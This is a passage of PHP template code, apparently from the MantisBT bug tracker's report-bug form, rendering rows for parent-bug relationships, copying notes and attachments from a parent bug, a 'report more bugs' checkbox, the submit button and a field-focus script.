<?php echo lang_get( 'private' ) ?></label> <?php } ?> </td> </tr> <?php //Relationship (in case of cloned bug creation...) if( $f_master_bug_id > 0 ) { ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'relationship_with_parent' ) ?> </td> <td> <?php relationship_list_box( config_get( 'default_bug_relationship_clone' ), "rel_type", false, true ) ?> <?php echo '<b>' . lang_get( 'bug' ) . ' ' . bug_format_id( $f_master_bug_id ) . '</b>' ?> </td> </tr> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php echo lang_get( 'copy_from_parent' ) ?> </td> <td> <label><input <?php echo helper_get_tab_index() ?> type="checkbox" id="copy_notes_from_parent" name="copy_notes_from_parent" <?php check_checked( $f_copy_notes_from_parent ) ?> /> <?php echo lang_get( 'copy_notes_from_parent' ) ?></label> <label><input <?php echo helper_get_tab_index() ?> type="checkbox" id="copy_attachments_from_parent" name="copy_attachments_from_parent" <?php check_checked( $f_copy_attachments_from_parent ) ?> /> <?php echo lang_get( 'copy_attachments_from_parent' ) ?></label> </td> </tr> <?php } ?> <tr <?php echo helper_alternate_class() ?>> <td class="category"> <?php print_documentation_link( 'report_stay' ) ?> </td> <td> <label><input <?php echo helper_get_tab_index() ?> type="checkbox" id="report_stay" name="report_stay" <?php check_checked( $f_report_stay ) ?> /> <?php echo lang_get( 'check_report_more_bugs' ) ?></label> </td> </tr> <tr> <td class="left"> <span class="required"> * <?php echo lang_get( 'required' ) ?></span> </td> <td class="center"> <input <?php echo helper_get_tab_index() ?> type="submit" class="button" value="<?php echo lang_get( 'submit_report_button' ) ?>" /> </td> </tr> </table> </form> </div> <!-- Autofocus JS --> <?php if ( ON == config_get( 'use_javascript' ) ) { ?> <script type="text/javascript" language="JavaScript"> <!-- window.document.report_bug_form.category_id.focus(); --> </script> <?php } if ( $tpl_show_due_date ) { date_finish_calendar( 'due_date', 'trigger' ); } html_page_bottom();
Close